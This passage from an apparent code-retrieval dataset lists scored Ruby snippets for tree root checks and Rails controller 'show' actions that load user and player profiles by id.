"0.683267", "text": "def root\n @root.to_s\n end", "title": "" }, { "docid": "36cbc2f408448a60266b99bbdcc421e5", "score": "0.68272734", "text": "def to_s\n return @parent.to_s if @parent\n return to_xml(true)\n end", "title": "" }, { "docid": "a0ebfbbc7cc6f156abaa4df63a8ad5a7", "score": "0.6813682", "text": "def to_s\n return to_s(@root, nil)\n end", "title": "" }, { "docid": "53addd0bcfd57ea817974cdc71349069", "score": "0.6810167", "text": "def root\n @root.to_s\n end", "title": "" }, { "docid": "53addd0bcfd57ea817974cdc71349069", "score": "0.6810167", "text": "def root\n @root.to_s\n end", "title": "" }, { "docid": "dfe82b8a8a0a6d1bd94a03fef59c554a", "score": "0.67573744", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "5bd425cd26be8011a0cb769ca0453e58", "score": "0.67426115", "text": "def _root?\n _parent ? false : true\n end", "title": "" }, { "docid": "284aee2cb6d392cc6323141786d89a9c", "score": "0.67161494", "text": "def root?\n parent_id.nil?\n end", "title": "" }, { "docid": "b8f1171247269491a4c7f80cb6357681", "score": "0.6687967", "text": "def root?\n not parent_id?\n end", "title": "" }, { "docid": "cd8f6e2bd3ebf69a06d2eb9b46c59503", "score": "0.66862273", "text": "def is_root?\n parent_id.nil?\n end", "title": "" }, { "docid": "2642a52a8c47a21c12eed1e16f2bdf8e", "score": "0.6681287", "text": "def root?\n parent_id.blank?\n end", "title": "" }, { "docid": "52563c45b36ddc193a54e2fe8995caa2", "score": "0.6667158", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "52563c45b36ddc193a54e2fe8995caa2", "score": "0.6667158", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "52563c45b36ddc193a54e2fe8995caa2", "score": "0.6667158", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "52563c45b36ddc193a54e2fe8995caa2", "score": "0.6667158", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "52563c45b36ddc193a54e2fe8995caa2", "score": "0.6667158", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "667b6b02b78cb637991784226af61d03", "score": "0.6659825", "text": "def root?\n parent_id.nil?\n end", "title": "" }, { "docid": "9df840eb036c3223d8b69dc87666f137", "score": "0.66586876", "text": "def is_root?\n parent == nil\n end", "title": "" }, { "docid": "1813752a8fa343326370648bc489992c", "score": "0.66550833", "text": "def root?\n parent_id.nil?\n end", "title": "" }, { "docid": "3f74dcbed6a1d18ebcc951fe1acb5742", "score": "0.66487265", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "2a48b4c9a4a694295f1e899d76108026", "score": "0.6641446", "text": "def root?\n self.parent ? false : true\n end", "title": "" }, { "docid": "758ff2b30f7e8213f846c092780c26f2", "score": "0.6636266", "text": "def root?\n parent_id == nil\n end", "title": "" }, { "docid": "f7f07c3ab5307ffb7d3fd02f518d675b", "score": "0.66291535", "text": "def is_root?\n !@parent\n end", "title": "" }, { "docid": "2586ebd48c809a6893c16aec58eb07f5", "score": "0.6620341", "text": "def root?\n ct_parent_id.nil?\n end", "title": "" }, { "docid": "e00eb54fa9ac045a2739b60f8f6ca4de", "score": "0.66104156", "text": "def is_root?\n @parent.nil?\n end", "title": "" }, { "docid": "ed055b17122983746ae92a5d9933f8b3", "score": "0.6605889", "text": "def is_root?\n (self.parent_id == 0)\n end", "title": "" }, { "docid": "b373e54ff48cae8f9ed2e331adcbffe5", "score": "0.66001624", "text": "def is_root?\r\n @parent.nil?\r\n end", "title": "" }, { "docid": "b4c6756f6579e140a094c243e8eb797a", "score": "0.6592829", "text": "def to_str\n\t\t\t\[email protected]_str\n\t\t\tend", "title": "" }, { "docid": "d2c46a0fd594e171cb307f921cb11090", "score": "0.6590595", "text": "def root?\n @parent.nil?\n end", "title": "" }, { "docid": "d2c46a0fd594e171cb307f921cb11090", "score": "0.6590595", "text": "def root?\n @parent.nil?\n end", "title": "" }, { "docid": "d2c46a0fd594e171cb307f921cb11090", "score": "0.6590595", "text": "def root?\n @parent.nil?\n end", "title": "" }, { "docid": "d2c46a0fd594e171cb307f921cb11090", "score": "0.6590595", "text": "def root?\n @parent.nil?\n end", "title": "" }, { "docid": "8627f226ba95f29c8781241d56336754", "score": "0.65745753", "text": "def is_root?\n @parent.nil?\n end", "title": "" }, { "docid": "8627f226ba95f29c8781241d56336754", "score": "0.65745753", "text": "def is_root?\n @parent.nil?\n end", "title": "" }, { "docid": "49e7dc78a58d1b1a4f2a84131eec7212", "score": "0.65677553", "text": "def root?\n !parent\n end", "title": "" }, { "docid": "a053601ad9c9394833e1a5d87b3c8be6", "score": "0.6564219", "text": "def isRoot?\n @parent == nil\n end", "title": "" }, { "docid": "eb7e4ebbf89e1f5fa200a8c63d2edf46", "score": "0.6561067", "text": "def to_s\n\t\tto_sHelper(@root)\n\tend", "title": "" }, { "docid": "1d38adb7c8ef75992f2e4b4047750ace", "score": "0.6560751", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "1d38adb7c8ef75992f2e4b4047750ace", "score": "0.6560751", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "1d38adb7c8ef75992f2e4b4047750ace", "score": "0.6560751", "text": "def root?\n parent.nil?\n end", "title": "" }, { "docid": "f080069ef37ffdad00f8986e4c16e71b", "score": "0.65524495", "text": "def isRoot?\r\n @parent == nil\r\n end", "title": "" }, { "docid": "560e6a8963293aa00117373231031f5c", "score": "0.6551304", "text": "def is_root\n @name.empty? && @parent.nil?\n end", "title": "" }, { "docid": "d406e11052bd8b8fc332e29fcbebbe09", "score": "0.6549068", "text": "def is_root?\n @parent.nil? ? true : false\n end", "title": "" }, { "docid": "f2a26a7eba2e1c97e3e1612c160e2784", "score": "0.65415996", "text": "def root?\n @parent.nil?\n end", "title": "" }, { "docid": "fef7a7530deb790ed477fb0ab3f4b859", "score": "0.654022", "text": "def isRoot?\n @parent == nil\n end", "title": "" }, { "docid": "04852080710c2ffc720c104c3e89b0db", "score": "0.6522239", "text": "def is_root?\n self.parent == nil\n end", "title": "" }, { "docid": "49a61a964153dc607c0c86fbe2f8e784", "score": "0.6516955", "text": "def is_root?\n\t\tself.parent.nil?\n\tend", "title": "" }, { "docid": "7d18c6da1272b30be2fa64502d209aa2", "score": "0.65048146", "text": "def root?\n parent_id.nil?\n end", "title": "" }, { "docid": "7d18c6da1272b30be2fa64502d209aa2", "score": "0.6503798", "text": "def root?\n parent_id.nil?\n end", "title": "" }, { "docid": "7f2beb66a3cc47ceca4b04ac1f60852f", "score": "0.64905816", "text": "def root?\n @parent.empty?\n end", "title": "" }, { "docid": "3bbf52903ca0d4ee598622138f2c6a5b", "score": "0.6488461", "text": "def root\n root? ? self : @parent.root\n end", "title": "" }, { "docid": "4f5c2d3ad57265290205efb1c82a50e9", "score": "0.6466884", "text": "def to_s\n @root.to_subtree_s\n end", "title": "" }, { "docid": "6f79948b36a4ea448156f38b3620787f", "score": "0.6462482", "text": "def is_root?\n\t\[email protected]?\n\tend", "title": "" }, { "docid": "119059a28e8f28512b31b7f1073deec8", "score": "0.6454457", "text": "def root?\n !parent?\n end", "title": "" }, { "docid": "a7ce9b7904960119919f51b056db248b", "score": "0.64405686", "text": "def root\r\n @_parent ? self : @_parent.root\r\n end", "title": "" }, { "docid": "4d2b868396bb035a5ecc69eb02a66f67", "score": "0.6381512", "text": "def is_root?\n self.parents.empty?\n end", "title": "" }, { "docid": "4d2b868396bb035a5ecc69eb02a66f67", "score": "0.6381512", "text": "def is_root?\n self.parents.empty?\n end", "title": "" }, { "docid": "b0750fdd4cbff039b476f4678b29a5a5", "score": "0.63801414", "text": "def root?\n @parent_blip_id.nil?\n end", "title": "" }, { "docid": "5b413ce52aa3dc7be5331cf63dc88bc2", "score": "0.63646394", "text": "def hierarchy_root?\n parent.nil?\n end", "title": "" }, { "docid": "f0d7a42496118a6451544fa6bdd9b04d", "score": "0.6351328", "text": "def root?\n tree_parent_key.nil?\n end", "title": "" }, { "docid": "aa65c92cfab0167869944b3c19473559", "score": "0.6350957", "text": "def is_root?\n parent_id.nil? or parent_id == 0 or parent_id == docid\n end", "title": "" }, { "docid": "6d99db65af5ef8bf2280c0840c55e1c7", "score": "0.63434154", "text": "def to_s\n \"\\n\" + @root.to_s\n end", "title": "" }, { "docid": "c0a5b9f662305811d80ae13503a57a67", "score": "0.6335359", "text": "def root\n root? ? self : self.parent.root\n end", "title": "" }, { "docid": "5c4c59f03565bd6f0aca0799581f04b8", "score": "0.6326868", "text": "def root\n\t\t@parent ? @parent.root : self\n\tend", "title": "" }, { "docid": "108c35a8a8bb49f6885a18ded5776f1b", "score": "0.6321421", "text": "def is_root?\n !new_record? && parent.nil?\n end", "title": "" }, { "docid": "1b4df455b083a87e7795ad2ca2d0ff15", "score": "0.63103586", "text": "def root\n self.is_root? ? self : self.parent.root\n end", "title": "" }, { "docid": "16f67804526b08bed814f12f8d08d687", "score": "0.6285552", "text": "def root\n parent.nil? ? self : parent.root\n end", "title": "" }, { "docid": "1399ffca24afd6faac9561efd46bf923", "score": "0.62694067", "text": "def is_root_family?\n return parent_id.nil?\n end", "title": "" }, { "docid": "4a503f098ac58b80ded8364a12691aaf", "score": "0.6267879", "text": "def root_node\n parent.nil? ? self : parent.root_node\n end", "title": "" }, { "docid": "4a503f098ac58b80ded8364a12691aaf", "score": "0.6267879", "text": "def root_node\n parent.nil? ? self : parent.root_node\n end", "title": "" }, { "docid": "ac009ef4414f09809387184b4ccc8ee0", "score": "0.62512904", "text": "def root\n if parent.nil?\n then self\n else parent.root\n end\n end", "title": "" }, { "docid": "188d9a6768a04398cbdb22349205f79b", "score": "0.6248625", "text": "def root?\n # Accessing the parent will fetch that row from the database,\n # so if we are persisted, just check that the parent_id column is nil.\n persisted? ? _ct_parent_id.nil? : parent.nil?\n end", "title": "" }, { "docid": "ca356437ba200a23497ea5195ac3c6c8", "score": "0.62392306", "text": "def root\n parent.parent.parent\n end", "title": "" }, { "docid": "edf20cae236cf5bdb6649a489980d9fd", "score": "0.623902", "text": "def to_s\n #Only build the string if it needs to be created\n build_s(@root) if @root and @str == \"\"\n @str\n end", "title": "" }, { "docid": "3e97e9c989935c4b5b6f169613adaf23", "score": "0.6238767", "text": "def _root\n @parent._root\n end", "title": "" }, { "docid": "b1ec38a9db8881ed0034fc2e3715d47f", "score": "0.6236919", "text": "def root_relation?\n !parent\n end", "title": "" }, { "docid": "30c126e4f1c8791f84f83510728cb855", "score": "0.62271714", "text": "def root?\n self[parent_column].to_i.zero?\n end", "title": "" }, { "docid": "943fb347eb6d42530e3d5d67307f4148", "score": "0.62265265", "text": "def root\n parent ? parent.root : self\n end", "title": "" }, { "docid": "f8cf420d1958f4edc8eeb3a9c81752b3", "score": "0.6214108", "text": "def root_relation?\n !parent\n end", "title": "" }, { "docid": "9ab0812b197024d4961db80592ae1dcc", "score": "0.62090814", "text": "def root?\n parent_id == nil\nend", "title": "" }, { "docid": "d3e2c0702d7d91106b6890efd38879a7", "score": "0.62056094", "text": "def check_parent\n\t\tunless @root\n\t\t\tunless @parent.nil?\n\t\t\t\treturn @parent.value\n\t\t\tend\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "0d4c1f19cb431397e34844e74cedc52d", "score": "0.6204766", "text": "def root\n parent? ? parent.root : self\n end", "title": "" }, { "docid": "7ef90af7ca5b905c6e117529409305fb", "score": "0.6186093", "text": "def root\n @parent ? @parent.root : self\n end", "title": "" }, { "docid": "889a38d537ceb176a1b3651464993a32", "score": "0.61788076", "text": "def root\n return self if root?\n\n @parent.root\n end", "title": "" }, { "docid": "343e4179377ee87725209a3e70e302b1", "score": "0.6175233", "text": "def root\n if root?\n self\n else\n parent.root\n end\n end", "title": "" }, { "docid": "c5896bc569d927e193ee061455cbd58a", "score": "0.61628884", "text": "def root\r\n parent = self.parent\r\n parent.is_a?(self.class) ? parent.parent : parent\r\n end", "title": "" }, { "docid": "3539c269a53ed2e5450841a7f0ab2ddc", "score": "0.6161947", "text": "def root?\n attributes[_recursive_tree_config.parent_key.to_s].blank?\n end", "title": "" }, { "docid": "0ed4d90a0939c55971d100ff9dcf526b", "score": "0.6155408", "text": "def is_root=(value)\n @is_root = value\n end", "title": "" }, { "docid": "1f212c8bf711ada40174b4e508434feb", "score": "0.61539286", "text": "def parent\n return self if root?\n self + '..' # Use our custom '+' method\n end", "title": "" }, { "docid": "d0682a5f6ffffa2730761455d244d0be", "score": "0.61504775", "text": "def root\n\t\treturn self if is_root?\n\t\treturn @parent.root\n\tend", "title": "" }, { "docid": "7de4e7494a7dc7aba708d476cc9d8866", "score": "0.6137165", "text": "def root\n return self unless parent\n parent.root\n end", "title": "" }, { "docid": "aaa9101b8903a425754128a0f55e065a", "score": "0.6135618", "text": "def root? # :nodoc:\n @parent_blip_id.nil?\n end", "title": "" }, { "docid": "53e30811d91999347683e8ecc25a83db", "score": "0.61186105", "text": "def parent_name\n @parent ? @parent.full_name : '(unknown)'\n end", "title": "" }, { "docid": "4899cd7883660ff769bd12eb0c1aace6", "score": "0.6109167", "text": "def to_s\n str = ''\n str << \"#{parent}\\n\" unless parent.nil?\n str << \" #{mynode}\\n\"\n children.each {|child| str << \" #{to_s(child)}\" } \\\n if children.length > 0\n str\n end", "title": "" } ]
594977a71718232fd645ef0e44bee4da
show a single player's profile based on passed in id
[ { "docid": "35cdcafbac622e4fd3c3692a64a453be", "score": "0.0", "text": "def show\n @player_id = params[:id].to_i\n\n if @player_id == 0\n @player = Person.find(1)\n @player_id = 1\n else\n @player = Person.find(@player_id)\n end\n\n @golf_course_people = GolfCoursePerson.where(person_id:@player_id)\n if @golf_course_people.size>0\n\n golf_courses = []\n print('@golf_course_people EXISTS!');\n # need two tabs for this: golf courses && hosted tournaments\n @golf_course_people.each do |golf_course_person|\n golf_courses << golf_course_person.golf_course_id\n end\n\n @golf_courses = GolfCourse.where(id:golf_courses)\n @tournaments_golf_courses = Tournament.where(golf_course_id:golf_courses)\n\n end\n @organizers = Organizer.where(person_id:@player_id)\n if @organizers.size > 0\n\n tournaments_organizers = []\n print('@organizers EXISTS!');\n @organizers.each do |organizer|\n tournaments_organizers << organizer.tournament_id\n end\n\n @tournaments_organizers = Tournament.where(id:tournaments_organizers)\n\n end\n @players = Player.where(person_id:@player_id)\n if @players.size > 0\n\n tournaments_players = []\n print('@players EXISTS!');\n @players.each do |player|\n tournaments_players << player.tournament_id\n end\n\n @tournaments_players = Tournament.where(id:tournaments_players)\n\n end\n @sponsors = Sponsor.where(person_id:@player_id)\n if @sponsors.size > 0\n\n tournaments_sponsors = []\n @sponsors.each do |sponsor|\n tournaments_sponsors << sponsor.tournament_id\n end\n\n @tournaments_sponsors = Tournament.where(id:tournaments_sponsors)\n end\n end", "title": "" } ]
[ { "docid": "48addf42cc629651d643b8b0126f1526", "score": "0.78256667", "text": "def show\n show_profile(params[:id])\n end", "title": "" }, { "docid": "13b2e8b0b8d7855c56cc5557d8771ca4", "score": "0.7762266", "text": "def show\n @ok_player = OkPlayer.find(params[:id])\n redirect_to user_path(@ok_player.profile_num)\n end", "title": "" }, { "docid": "2b65e33a3f6b59f14bea85001a5df7dd", "score": "0.7559462", "text": "def show\n\n\t\tif Profile.where(visible:true).exists?(params[:id])\n\t\t\t@profile = Profile.find(params[:id])\n\t\tend\n\n\tend", "title": "" }, { "docid": "26e6bc9ee0e7f23542a0232cfdacd3dd", "score": "0.753274", "text": "def show\n id = params[ :id]\n @videogame = Videogame.find(id)\n @profile = current_user.profile\nend", "title": "" }, { "docid": "334a666bdf547ac15a5120e4513f0ff4", "score": "0.74934185", "text": "def show\n @profile = Profile.find_by(id: params[:id])\n end", "title": "" }, { "docid": "cfb3262e3767c29dc1189a15842d34ea", "score": "0.7456334", "text": "def show\n @profile = Profile.find( params[:id] )\n end", "title": "" }, { "docid": "1f5fe831c9de49bd65e3abbbafa55eb3", "score": "0.7419027", "text": "def show \n\t\t@profile = Profile.find(params[:id])\n\tend", "title": "" }, { "docid": "56fd71f656f195900d6e86c8b7fc71ea", "score": "0.7401044", "text": "def show\n if params[:id] && params[:id] != 'me' then\n @profile = Profile.find params[:id]\n else \n @profile = current_user.profile\n end\n unless @profile\n redirect_to :action => 'new'\n return\n end\n @title = \"Profile - #{@profile.first_name} #{@profile.last_name}\"\n end", "title": "" }, { "docid": "c951123797cfd12a791cc3ea8cdb8934", "score": "0.7373509", "text": "def show\n @player = Player.find(params[:placeholder_for_id_of_player])\n end", "title": "" }, { "docid": "98b52516b3662929c4d02a91c4904f19", "score": "0.73696816", "text": "def show\n @players_profile = PlayersProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @players_profile }\n end\n end", "title": "" }, { "docid": "c17aa78bbace6fb1c277161c797d4269", "score": "0.7353962", "text": "def show\n\t\t@profile = Profile.find(params[:id])\n\tend", "title": "" }, { "docid": "b1c9f49b9a1304f6aeea88e82b89a0de", "score": "0.7342834", "text": "def show\n @profile = Profile.find(params[:id])\n end", "title": "" }, { "docid": "b1c9f49b9a1304f6aeea88e82b89a0de", "score": "0.7342834", "text": "def show\n @profile = Profile.find(params[:id])\n end", "title": "" }, { "docid": "6ab6d233d3c8d62545c509776e2aa792", "score": "0.7335665", "text": "def show\n @profile = Profile.find(params[:id])\n end", "title": "" }, { "docid": "cc99399109f02799c929dd284e4e93e7", "score": "0.7315925", "text": "def show\r\n @user = User.find(params[:user_id])\r\n @profile = @user.profile\r\n #@profile = Profile.find(params[:id])\r\n end", "title": "" }, { "docid": "fe682fa28985bd35af2564518f6661da", "score": "0.7305978", "text": "def show\n @profile = Profile.find(params[:id])\n end", "title": "" }, { "docid": "54a3cefb4fdb7add2233daab32867618", "score": "0.7270902", "text": "def show\n if current_user.is_normal?\n @user = User.find( params[:id] )\n render :profile\n else\n @user = current_user\n render :profile\n end\n end", "title": "" }, { "docid": "31bd64c92743c2873e3eef2e11386ed0", "score": "0.7268973", "text": "def show\n if params.has_key?(:user_id)\n @profile = current_user.profile\n else\n @profile = Profile.new\n end\n end", "title": "" }, { "docid": "6e05168312e51db2ee635d48a1beac3e", "score": "0.72688544", "text": "def set_playerprofile\n @playerprofile = Playerprofile.find(params[:id])\n end", "title": "" }, { "docid": "f3288118389bb63d219f0e9fb5d28e85", "score": "0.7221166", "text": "def show\n @player = Player.find(params[\"player_id\"])\n end", "title": "" }, { "docid": "a29b362621f2c3f8ce451c99848344b7", "score": "0.720063", "text": "def show\n @user_profile = UserProfile.find(params[:id])\n\n end", "title": "" }, { "docid": "abb6e2096f7edf0f00f98adc6ca37e65", "score": "0.71991897", "text": "def show\n @show = Show.find(params[:id])\n if session[:profile_id]\n @profile = Profile.find(session[:profile_id])\n end\n end", "title": "" }, { "docid": "6560f4ee72809fb6d4ef7c46a8bb2692", "score": "0.71833897", "text": "def show\n logger.warn params[:id]\n params[:id].nil? ? (@user = get_user) : (@user = User.find_by_id(params[:id]))\n @connection = get_user.connections.find(:all, :conditions=>['connection_id=?',params[:id]])\n @title = \"#{@user.name}'s profile\" unless params[:id].nil?\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n rescue ActiveRecord::RecordNotFound\n logger.error(\"Attempt to access an unknown users profile\")\n flash[:notice] = \"An error occured, please try again\"\n redirect_to(:controller=>'profile', :action=>'show')\n end", "title": "" }, { "docid": "a014d99effae38fc5cf4b9bede053b1f", "score": "0.71763694", "text": "def show\n a = params\n the_username = params.fetch(:id)\n @user_profile = User.where({ :username => the_username }).at(0)\n render({ :template => \"users/user_profile.html.erb\" })\nend", "title": "" }, { "docid": "91af8e60dda693e3952d2c31f1816324", "score": "0.71555656", "text": "def show\n # user = User.find(params[:id])\n # @profile = user.profile\n end", "title": "" }, { "docid": "4915195bc29e771f600001ae13ea82ed", "score": "0.7125707", "text": "def show\n @current_profile = Profile.find_by_user_id(current_user.id)\n end", "title": "" }, { "docid": "99cb87e5fdf086aa428ba09a5058d58d", "score": "0.7088152", "text": "def show\n @player = Player.find(params[:id])\n end", "title": "" }, { "docid": "177489f9b5ae0d194daddff7c7fd0d8b", "score": "0.70857215", "text": "def show\n @player = Player.find(params[:id])\n end", "title": "" }, { "docid": "177489f9b5ae0d194daddff7c7fd0d8b", "score": "0.70857215", "text": "def show\n @player = Player.find(params[:id])\n end", "title": "" }, { "docid": "07974207cb81d9acfbf9f72a089451c9", "score": "0.704203", "text": "def show\n @player = Player.find(params[:id])\n end", "title": "" }, { "docid": "16c31db5b9c38bafb9f571e50c61b8a0", "score": "0.7041142", "text": "def show\n @user = User.find(params[:id])\n redirect_to '/profile/' + @user.id.to_s\n end", "title": "" }, { "docid": "7a6b67930b5f6aa78ed69448175138d5", "score": "0.70221984", "text": "def view_public_profile\n @user = User.find_by_id(params[:id])\n end", "title": "" }, { "docid": "e4def6fa4bf536924623fa6681402db7", "score": "0.701121", "text": "def show\n @profile = current_user.profiles.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n format.json { render :json => @profile }\n\n end\n end", "title": "" }, { "docid": "7424a7aa31a827edafa097c49fdbdb2f", "score": "0.7007284", "text": "def show\n @profile = Profile.find_by_user_id(params[:id])\n\n rescue ActiveRecord::RecordNotFound => e\n Rails.logger.info(\"Tried to access profile id #{params[:id]} and was not found\")\n flash[:notice] = \"You are not authorized to modify that profile\"\n redirect_to root_path\n end", "title": "" }, { "docid": "1ff1fff2bdda7f5cb02be4873de16bdd", "score": "0.6960839", "text": "def show\n @profile = Profile.find(params[:id])\n @profile_user = User.find(:first, :conditions => ['id = ?', @profile.user_id])\n @user = get_user\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end", "title": "" }, { "docid": "cf95139d89b2ff3d41d28d109d72ef1e", "score": "0.696007", "text": "def show\r\n @profile = Profile.find(params[:id])\r\n # # prevent other users from editing profile\r\n # unless current_user.id == @profile.id\r\n # flash[:notice] = \"You can not access this.\"\r\n # redirect_to root_path\r\n # end\r\n end", "title": "" }, { "docid": "6a18335124dfc866647dbb9080db3ee3", "score": "0.69522667", "text": "def show\n if current_user.profile != Profile.find(params[:id])\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "530d98ff3f4aed814df95d5483e519c3", "score": "0.69345176", "text": "def show\n update_profile(@account)\n @profile = @account.profile\n end", "title": "" }, { "docid": "1383c934d465743b99fb90a49765ea40", "score": "0.6928175", "text": "def show_profile\n\t\tuser_id = params[:user]\n\t\trender :partial => \"/my_collex/profile\", :locals => { :user => User.find(user_id), :can_edit => false }\n\tend", "title": "" }, { "docid": "632b1b9947f2d68088a7d3c54c5530cd", "score": "0.69235325", "text": "def show\n # Players are not authorized to view the details of other users.\n redirect_to(current_user) if player_logged_in? && @player.id != current_user.id\n end", "title": "" }, { "docid": "33bc3447a3fc5c0bffc78dfc06740322", "score": "0.69214815", "text": "def show\n @profile = Userprofile.find(params[:id])\n @current = Userprofile.find(params[:id])\n end", "title": "" }, { "docid": "3d5a589774b78551ffd3b8e95da8d37f", "score": "0.6912996", "text": "def show\n @profile = current_user.profile\n end", "title": "" }, { "docid": "571c03845176a1182bc4445f2ca3ab66", "score": "0.6912037", "text": "def show\n #@profile = Profile.find(params[:id])\n @profile = Profile.find_by_user_id(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end", "title": "" }, { "docid": "401d5536bc23635adf38d3ebebb45c0b", "score": "0.69070274", "text": "def show\r\n\r\n @profile_attributes = params[:profile] ? params[:profile][params[:id]].clone : {}\r\n @profile_attributes.merge!(:id => params[:id]) if @profile_attributes\r\n\r\n @profile = Profile.load_from_params(@profile_attributes)\r\n if @profile.nil?\r\n flash[:warning] ||= []\r\n flash[:warning] << _(\"Warning: %{obj} with ID %{id} does not exist!\") % {:obj => 'profile', :id => params[:id]}\r\n redirect_to(:action => :index)\r\n return\r\n end\r\n\r\n respond_to do |format|\r\n format.html {\r\n render :layout => !request.xhr? }\r\n format.pdf {\r\n render :layout => false }\r\n format.xml {\r\n render :xml => @profile.to_xml }\r\n format.json {\r\n render :json => @profile.to_json }\r\n end\r\n end", "title": "" }, { "docid": "3364600aa695cab15533b6f96ab75318", "score": "0.68945646", "text": "def show\n @graph = Koala::Facebook::API.new(current_user.oauth_token)\n\n if @player.facebook_id.present?\n @profile_picture = @graph.get_picture(@player.facebook_id, { 'type' => 'large' }) \n end\n\n respond_with(@player)\n end", "title": "" }, { "docid": "967d18b23c321b1f792b02f511fd6568", "score": "0.6882131", "text": "def show\n @players = Player.where('pro_team_id = ?', params[:id])\n end", "title": "" }, { "docid": "d81136a8ef5723faf075f19ebb5eec26", "score": "0.68718714", "text": "def player_details(id)\n raw_data = @api.player_details(id)\n data = Serializer.parseData(raw_data)\n\n serializer_profile = Serializer::Profile.new(raw_data)\n profile = serializer_profile.parse(0, 0)\n network = Network::Network.new(@api, @player)\n network.parse(data.dig(1))\n\n PlayerDetails.new(profile, network)\n end", "title": "" }, { "docid": "d183f97426e7143b8cd0cace21960365", "score": "0.6869286", "text": "def show\n if params[:id] && params[:id] != session[:user]\n redirect_to :controller => 'profiles', :action => 'show', :id => params[:id]\n else\n @user = User.find(session[:user])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end\n end", "title": "" }, { "docid": "197321027e8748338ddb33fb76c42043", "score": "0.6857241", "text": "def show\n @profile = Profile.find(params[:id])\n @utente = @profile.user\n #puts @profile.user_id\n #@utente = User.find(@profile.user_id)\n end", "title": "" }, { "docid": "c0d5760f9f2a65ea990e73475fc147e6", "score": "0.6852631", "text": "def show\n @user = User.where([\"lower(\\\"userName\\\") = ?\", params[:name].downcase]).first\n @profile = Profile.where([\"\\\"userId\\\" = ?\", @user.id.to_s]).first\n end", "title": "" }, { "docid": "ff81b78db0b919f200215a902c499d12", "score": "0.6840319", "text": "def show\n @player = Player.find(params[:id])\n @session_user = session_user\n end", "title": "" }, { "docid": "a222204df1479b2890ebb0856d8b43d3", "score": "0.683214", "text": "def show\n @profile = Profile.first\n end", "title": "" }, { "docid": "097cd30cf17566f654f4f92aa72180ab", "score": "0.6829687", "text": "def show\n @user = User.find_by_name(params[:id])\n unless @user\n redirect_to players_path\n end\n end", "title": "" }, { "docid": "ba899af13b875b18ac1b8fcac11455d1", "score": "0.6815364", "text": "def show\n\t\trender json: Player.find(params[\"id\"])\n\tend", "title": "" }, { "docid": "375e7bda5179a8091f10f8bfd5d624e5", "score": "0.68038636", "text": "def show\n unless current_user.team_id == params[:id].to_i && current_user.is_user? || current_user.is_admin?\n redirect_to root_path\n end\n @player = Player.new\n @players = @team.players\n end", "title": "" }, { "docid": "dff5d77b6042f323467b65fb2838e7ca", "score": "0.6801333", "text": "def show\r\n @profile = User.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @profile }\r\n end\r\n end", "title": "" }, { "docid": "74c132bebf6498ff591472937ac43b04", "score": "0.67764175", "text": "def show\n @user = current_user\n @profile = @user.profile\n end", "title": "" }, { "docid": "df9b7459f5c34af081903c84abbb583f", "score": "0.6775182", "text": "def load_profile_id\n\t\tid = params[:profile_id]\n\t\tif id.present? && Profile.accessible_by(current_ability, :show).exists?(id)\n\t\t\t@profile_id = id\n\t\tend\n\tend", "title": "" }, { "docid": "1a0c36edc179515c2c1feb8f2b9cab0b", "score": "0.67676187", "text": "def show\n @profile = Profile.find(params[:id])\n # @profile = Profile.find(params[:profile])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "2075c8f2f96016716619ab0228ee25ac", "score": "0.6753743", "text": "def cmdPlayerGetInfo(id)\n params = {\n \"player_get_info\" => \"\",\n \"id\" => id,\n \"app_version\" => @config[\"version\"],\n }\n response = @client.request(params, @sid)\n serializer = Serializer.new(response)\n return serializer.parseProfile(0, 0)\n end", "title": "" }, { "docid": "272650b10955aac11a1dcaeb1bd8bc4a", "score": "0.67505896", "text": "def show\n @current_user = @user.id == session[:user_id]\n\n profile_queries\n end", "title": "" }, { "docid": "7c7c4b01aad79247d5f46efdc11a104d", "score": "0.67432374", "text": "def show\n @user_profile = current_user.user_profile\n end", "title": "" }, { "docid": "9d07665b7818d8a7e180153ba132f2f1", "score": "0.67395467", "text": "def show\n @profile = Profile.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "a0ed23adad1d88531aca9f4cf93e069e", "score": "0.6733293", "text": "def show\n @user = Athlete.find session[:user_id]\n \n respond_with @user do |format|\n format.html { render 'common/profile/profile' }\n end\n end", "title": "" }, { "docid": "6a5898bf2254d6701e58c22454263699", "score": "0.6732121", "text": "def show\n # Because of the '/players/:id' route, we get access to the ID used in the URL in the params variable; so if the URL was /planets/25, the variable params[:id] will contain the string '25'\n @player = Player.find(params[:id])\n end", "title": "" }, { "docid": "d46186add84e9e32e6c3ccdcdf0196c1", "score": "0.6728179", "text": "def show\n @user = User.find(params[:user_id])\n @profile = @user.profile\n\n respond_to do |format|\n format.html\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "38456366d346791b4b70fa4d38789217", "score": "0.6724693", "text": "def show\n @profile = current_user.profile\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "7fb8289cf11925c3dfd4b604ed35a6c3", "score": "0.67188233", "text": "def show\n @profile = Profile.find_by_user_id(params[:user_id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end", "title": "" }, { "docid": "5b61d5aa3139e61370c58a6e2e3e151b", "score": "0.6717383", "text": "def show\n @player = Player.find(params[:id])\n @user = 